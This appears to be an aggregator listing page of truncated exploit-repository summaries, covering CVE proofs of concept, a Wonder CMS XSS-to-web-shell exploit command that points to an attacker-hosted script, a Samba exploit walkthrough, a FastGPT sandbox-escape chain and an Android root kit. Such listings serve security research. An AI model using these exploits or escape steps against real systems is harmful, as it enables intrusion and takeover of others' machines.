ctf-tracker

⚡ ZEROBOX // Tactical CTF Tracker v2.0 Advanced CTF Machine Tracking, Attack Lifecycle Management & Offensive Cheatsheet Dashboard 929 Machines 415 HTB Retired + 514 THM CTF · Daniel Dayan's 55 Verified Solves · 100% HTB & THM ToS Compliant ⭐️ If you find ZeroBox useful, please consider giving it ...

CVE-2024-10924

CVE-2024-10924 - Bypass de Autenticación en Really Simple Security DESCRIPCIÓN GENERAL Este proyecto demuestra la explotación y mitigación de CVE-2024-10924, una vulnerabilidad crítica de bypass de autenticación en el plugin de WordPress "Really Simple Security". PASO 1: CONFIGURACIÓN DEL ENTORNO...

-CVE-2019-18634-sudo-pwfeedback

-CVE-2019-18634-sudo-pwfeedback Resumen Este repositorio contiene una prueba de concepto PoC para CVE-2019-18634, una vulnerabilidad en sudo que afecta a sistemas con la opción pwfeedback habilitada. La vulnerabilidad permite a un atacante local escalar privilegios a root explotando un...

CVE-Exploit-Research-Development

🔐 SSH 漏洞利用工具（仅限教育用途） 📌 描述 此工具演示以下漏洞的利用： CVE-2008-0166 CVE-2008-1657 它连接存在漏洞的 SSH 服务，并提供： 持久化交互式 Shell 命令执行日志记录 自动生成 PDF 与 DOCX 报告 ⚙️ 功能特性 持久化 Shell（cd、ls、pwd 等） 捕获真实命令输出 生成专业报告 有序的输出目录 📦 安装 root@kitploit: git clone https://github.com/yourusername/ssh-exploit-tool.git cd ssh-exploit-tool pip instal...

CVE-2024-11318

CVE-2024-11318 IDOR - AbsysNet 2.3.1 用户劫持 免责声明 此工具旨在帮助识别和利用特定CVE-2024-11318漏洞的应用程序是否易受攻击。它适用于网络安全专业人员、研究人员和渗透测试人员，在获得明确授权的情况下评估环境的安全性。 如果确认存在漏洞，仅当您拥有应用程序或系统所有者的适当授权时，才能进行利用。 未经授权使用此工具针对您不拥有或未经明确许可测试的系统或网络是非法且不道德的。作者对此工具造成的任何滥用或损害不承担任何责任。 使用此工具即表示您同意遵守所有相关法律和道德标准。在测试或利用漏洞之前，请始终确保您拥有明确许可。 描述 该漏洞影响...

CVE-2017-3241-POC

CVE-2017-3241-POC 针对 Java RMI 反序列化漏洞的 POC 你可能需要使用 JDK 8 来运行此 POC。 只需注意客户端和服务端的 Message 类。它们是不同的。而差异正是理解此漏洞的关键。 Oracle 发布的修复方案是让开发者在 Java 安全策略中配置反序列化白名单/黑名单。我想说，有多少开发者在被攻击之前知道这个列表的存在？ 我本想写一个测试程序，但懒得写……如果你理解了我的代码，很容易自己写出来。我建议你使用 Java instrument 或反射。 如果目标类路径中存在某些类，则可能实现远程代码执行：...

Samba-Exploit-CVE-2007-2447

🎬 这个 YouTube 视频 1️⃣ 扫描目标（Nmap） root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 预期结果： 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba 版本：3.0.20 该版本易受 CVE-2007-2447 影响。 2️⃣ 查找 Samba 漏洞利用 root@kitploit: searchsploit samba 3.0.20 结果： Samba 3.0.20...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 是 Wonder CMS 中的一个反射型 XSS 漏洞，可进一步通过 installModule 组件利用恶意脚本执行任意代码。 使用方法 针对目标的 loginURL 运行漏洞利用程序，指定用于托管恶意 .js 文件的 Web 服务器的 IP 和端口： root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888 + 创建 PHP Web Shell + 写入 malicious.js + XSS...

Apache OFBiz < 18.12.10 - Arbitrary Code Execution

Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10. id: CVE-2023-49070 info: name: Apache OFBiz 18.12.10 - Arbitrary Code Execution author: your3cho severity: critical description: | Pre-auth RCE in Apach...

Atlassian Questions For Confluence - Hardcoded Credentials

Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attack...

Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE

Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP. id: CVE-2026-35273 info: name: Oracle PeopleSoft PeopleTool...

CVE-2013-2028_Checker

CVE-2013-2028 - Nginx HTTP 服务器 1.3.9-1.4.0 分块编码栈缓冲区溢出 描述 nginx 1.3.9 至 1.4.0 版本中 http/ngxhttpparse.c 文件的 ngxhttpparsechunked 函数允许远程攻击者通过一个带有超大分块大小的分块传输编码请求造成拒绝服务（崩溃）并执行任意代码，该漏洞触发整数符号错误和基于栈的缓冲区溢出。 示例 root@kitploit: $ python3 nginxcve20132028checker.py http://172.17.0.3 ! Target: http://172.17.0.3...

kernel: i2c: stub: Reject I2C block transfers with invalid length

A flaw was found in the Linux kernel's i2c-stub driver. A local user with access to the /dev/i2c- device can exploit this vulnerability by issuing an I2C System Management Bus SMBus input/output control ioctl command with a specially crafted block transfer length. This invalid length can cause th...

kernel: USB: serial: io_ti: fix heap overflow in get_manuf_info()

A flaw was found in the Linux kernel's ioti USB serial driver. A malicious USB device, when plugged into a host running this driver, can exploit a heap overflow vulnerability in the getmanufinfo function. This occurs because the driver does not properly validate the size of data read from the...

ghostlock-cve-2026-43499

CVE-2026-43499 GhostLock — ARM32 Kernel Privilege Escalation Research Linux kernel futex PI rtmutex Use-After-Free vulnerability research and exploit development targeting Huawei Watch 4 Pro MDS-AL00 , Snapdragon SW5100, armv7l, kernel 5.4.210. Vulnerability removewaiter in kernel/locking/rtmutex...

CVE-2021-1675-PrintNightmare-Analysis

漏洞研究：通过 Windows Print Spooler 实现本地权限提升与 RCE（PrintNightmare / CVE-2021-1675） 该仓库包含一份详细的技术报告（Write-up）以及对 Windows 打印后台处理程序（Print Spooler）服务中关键漏洞的利用概念验证分析，该漏洞允许低权限域用户以最高系统权限远程执行任意代码。 🛑 警告与免责声明： 本材料仅用于教育目的和合法的安全审计（渗透测试）。未经所有者事先书面同意，针对系统使用所述技术将受到法律追究。 📌 研究的现实意义与背景 PrintNightmare 系列漏洞对基于 Windows Server...

Simplog-Exploit

Simplog-Exploit 本仓库包含针对 CVE-2009-4092 Simplog CSRF 漏洞的环境搭建、漏洞利用和补丁。 该漏洞存在于 Simplog 0.9.3.2 的 user.php 文件中，Simplog 是一款 Web 应用程序，用于帮助用户在其个人网站上轻松创建和维护博客。攻击者可以利用跨站请求伪造（CSRF），通过发送恶意请求更改密码，从而劫持用户身份验证过程。 设置 我们的环境搭建包括一个能够处理 PHP 页面的 Apache Web 服务器（运行在 localhost 上），以及一个托管在同一台服务器上的 MySQL 数据库。 漏洞利用 补丁 免责声明...

fastgpt-sandbox-audit

fastgpt-sandbox-audit FastGPT Python 沙箱逃逸链审计工具。 FastGPT 工作流的"代码运行"节点把用户 Python 代码交给独立沙箱执行。v4.14.8 的沙箱防护是纯 Python 层（模块黑名单 + AST 检查 + open 守卫 + import 守卫），本工具检测并验证这些防护的绕过链： root@kitploit: import inspect inspect 不在 DANGEROUSSTDLIB 黑名单 g = inspect.currentframe.fback.fglobals AST 检查不拦单下划线帧属性 f =...

CVE-2026-44578

CVE-2026-44578 — Next.js WebSocket Upgrade Handler SSRF Lab Security Academy CERT Project vulnerability reproduction lab environment for mentor demos Overview Item| Details ---|--- CVE| CVE-2026-44578 GHSA| GHSA-c4j6-fc7j-m34r CVSS| 8.6 High CWE| CWE-918 Server-Side Request Forgery Affected...

hp-slate7-root-kit

适用于 Android 4.1.1 的 HP Slate 7 2800 Root English | Русский 本仓库包含一套完整、自包含的工具包，用于通过利用本地漏洞 CVE-2015-1805 ，在运行固件 1.05.18 和内核 Linux 3.0.8+ 的 HP Slate 7 2800 上获取持久的 root 访问权限。该工具包已在真实平板上运行，并且结果已在一个全新的 ADB 会话中以及正常重启后得到验证。 这不是通用的 Android root 工具。该漏洞利用程序特定于此 HP 内核配置。请勿在其他型号、固件或内核版本上运行它。 已验证的配置 参数| 已验证的值...